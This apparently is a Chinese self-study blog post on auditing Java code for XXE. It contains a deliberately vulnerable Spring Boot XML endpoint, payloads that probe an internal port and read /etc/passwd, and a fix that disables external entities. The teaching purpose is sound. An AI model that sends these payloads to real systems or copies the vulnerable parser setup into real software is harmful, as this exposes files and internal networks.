0x00 前提

Java 代码审计自学:主要自己一个人学习,有点闭门造车,搜索引擎学习法,但是还是记录一下,也分享一下,也便于将来的总结和反思,如果我能终能学到什么,我也会重新梳理思路,为那些自学者提供一个好的思路,所以有了下面的系列文章java代码审计自学篇。

0x01 XXE漏洞简介

XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。Java中的XXE支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网,没有回显时可组合利用file协议和ftp协议来读取文件。

0x02 XXE相关基础概念

XML&DTD

XML (可扩展标记语言,EXtensible Markup Language),是一种标记语言,用来传输和存储数据,而非显示数据。
DTD(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。

实体ENTITY

XML中的实体类型,一般有下面几种:字符实体、命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。

0x03 XXE审计函数

XML解析一般在导入配置、数据传输接口等场景可能会用到,涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体,从而判断是否存在XXE。部分XML解析接口如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester

0x04 漏洞代码例子

使用spring boot框架写的小例子

询问一个常用的解析方法,选择一个有回显的方法,方便学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
  @RequestMapping(value = "/DocumentBuilder", method = RequestMethod.POST)
//直接POST XML数据报过来就行
public String DocumentBuilderVuln(HttpServletRequest request) {
try {
//获取boy
String body = WebUtils.getRequestBody(request);

//实例化DocumentBuilderFactory对象
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();

//树立body里面xml转换流
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);

//解析XML的对象,转化为Document对象
Document document = db.parse(is);

// 遍历xml节点name和value
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
//返回string 有回显
return buf.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}

0x05 漏洞利用

http 协议探测

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8888">
]>
<root>&xxe;</root>

通过回显和延迟,粗略判断,或者DNS无回显探测

image-20200819180052434

FILE 协议 任意文件读取

poc:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

成功读取 etc/passwd

image-20200819180422865

还有一些ooxml 这种后续再写其他的研究一下

0x06 修复

主要是这三句话,加入了禁止使用实体类

很多封装的方法,都是这样的去解决,都是禁用了ENTITY实体。

下面是DocumentBuilder禁用方法

1
2
3
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@RequestMapping(value = "/Sec", method = RequestMethod.POST)
public String DocumentBuilderSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
db.parse(is);
sr.close();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "DocumentBuilder security code";
}